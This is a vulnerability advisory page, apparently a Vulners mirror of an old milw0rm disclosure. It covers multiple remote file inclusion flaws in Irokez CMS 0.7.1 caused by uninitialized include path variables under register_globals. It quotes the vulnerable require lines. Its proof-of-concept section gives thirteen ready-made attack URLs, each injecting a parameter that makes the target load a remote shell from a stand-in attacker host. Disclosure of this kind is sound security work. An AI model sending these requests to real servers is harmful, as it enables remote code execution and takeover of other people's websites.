Lucene search
K

Irokez CMS <= 0.7.1 - Multiple Remote File Include Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 22 Views

Irokez CMS <= 0.7.1 Multiple Remote File Include Vulnerabilities. High risk of remote file execution due to uninitialized variables in scripts

Code

                                                +-------------------------------------------------------------------------------------------
+ Irokez CMS &#60;= 0.7.1 Multiple Remote File Include Vulnerabilities
+-------------------------------------------------------------------------------------------
+ Vendor ............: http://www.irokez.org/
+ Affected Software .: Irokez CMS &#60;= 0.7.1
+ Download ..........: http://www.irokez.org/releases/irokez-0.7.1.zip
+ Description .......: &#34;Irokez is a blogging based CMS&#34;
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid &#60;nuffsaid[at]newbslove.us&#62;
+-------------------------------------------------------------------------------------------
+ Details:
+ Irokez CMS has several scripts which do not initialize variables before using them to include
+ files, assuming register_globals = on, we can initialize any one of the variables in a query
+ string and include a remote file of our choice.
+
+ Vulnerable Code:
+ scripts/gallery.scr.php, line(s) 11-12:
+ -&#62; 11: require_once &#34;{$GLOBALS[&#39;PTH&#39;][&#39;func&#39;]}gallery.func.php&#34;;
+ -&#62; 12: require_once &#34;{$GLOBALS[&#39;PTH&#39;][&#39;classes&#39;]}gallery.class.php&#34;;
+ scripts/sitemap.scr.php, line(s) 13:
+ -&#62; 13: include_once $GLOBALS[&#39;PTH&#39;][&#39;classes&#39;] . &#39;menu.class.php&#39;;
+ scripts/news.scr.php, line(s) 11:
+ -&#62; 11: require_once $GLOBALS[&#39;PTH&#39;][&#39;classes&#39;] . &#39;news.class.php&#39;;
+ scripts/polls.scr.php, line(s) 03:
+ -&#62; 03: require_once $GLOBALS[&#39;PTH&#39;][&#39;classes&#39;] . &#39;poll.class.php&#39;;
+ scripts/rss.scr.php, line(s) 04:
+ -&#62; 04: require_once &#34;{$GLOBALS[&#39;PTH&#39;][&#39;classes&#39;]}news.class.php&#34;;
+ scripts/search.scr.php, line(s) 04:
+ -&#62; 04: require_once &#34;{$GLOBALS[&#39;PTH&#39;][&#39;classes&#39;]}content.class.php&#34;;
+ scripts/xtextarea.scr.php, line(s) 03-04:
+ -&#62; 03: $GLOBALS[&#39;spaw_root&#39;] = $spaw_root = $GLOBALS[&#39;PTH&#39;][&#39;spaw&#39;];
+ -&#62; 04: require_once $GLOBALS[&#39;PTH&#39;][&#39;spaw&#39;] . &#39;spaw_control.class.php&#39;;
+ functions/form.func.php, line(s) 03:
+ -&#62; 03: require_once &#34;{$GLOBALS[&#39;PTH&#39;][&#39;classes&#39;]}lang.class.php&#34;;
+ functions/general.func.php, line(s) 06:
+ -&#62; 06: require_once &#34;{$GLOBALS[&#39;PTH&#39;][&#39;classes&#39;]}lang.class.php&#34;;  //TBL_Lang description
+ functions/groups.func.php, line(s) 03:
+ -&#62; 03: require_once &#34;{$GLOBALS[&#39;PTH&#39;][&#39;classes&#39;]}group.class.php&#34;;
+ functions/js.func.php, line(s) 04:
+ -&#62; 04: require_once &#34;{$GLOBALS[&#39;PTH&#39;][&#39;classes&#39;]}lang.class.php&#34;;
+ functions/sections.func.php, line(s) 03:
+ -&#62; 03: require_once &#34;{$GLOBALS[&#39;PTH&#39;][&#39;classes&#39;]}section.class.php&#34;;
+ functions/users.func.php, line(s) 03:
+ -&#62; 03: require_once &#34;{$GLOBALS[&#39;PTH&#39;][&#39;classes&#39;]}user.class.php&#34;;
+
+ Proof Of Concept:
+ http://[target]/[path]/scripts/gallery.scr.php?GLOBALS[PTH][func]=http://evilsite.com/shell.php?
+ http://[target]/[path]/scripts/sitemap.scr.php?GLOBALS[PTH][classes]=http://evilsite.com/shell.php?
+ http://[target]/[path]/scripts/news.scr.php?GLOBALS[PTH][classes]=http://evilsite.com/shell.php?
+ http://[target]/[path]/scripts/polls.scr.php?GLOBALS[PTH][classes]=http://evilsite.com/shell.php?
+ http://[target]/[path]/scripts/rss.scr.php?GLOBALS[PTH][classes]=http://evilsite.com/shell.php?
+ http://[target]/[path]/scripts/search.scr.php?GLOBALS[PTH][classes]=http://evilsite.com/shell.php?
+ http://[target]/[path]/scripts/xtextarea.scr.php?GLOBALS[PTH][spaw]=http://evilsite.com/shell.php?
+ http://[target]/[path]/functions/form.func.php?GLOBALS[PTH][classes]=http://evilsite.com/shell.php?
+ http://[target]/[path]/functions/general.func.php?GLOBALS[PTH][classes]=http://evilsite.com/shell.php?
+ http://[target]/[path]/functions/groups.func.php?GLOBALS[PTH][classes]=http://evilsite.com/shell.php?
+ http://[target]/[path]/functions/js.func.php?GLOBALS[PTH][classes]=http://evilsite.com/shell.php?
+ http://[target]/[path]/functions/sections.func.php?GLOBALS[PTH][classes]=http://evilsite.com/shell.php?
+ http://[target]/[path]/functions/users.func.php?GLOBALS[PTH][classes]=http://evilsite.com/shell.php?
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-12-25]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation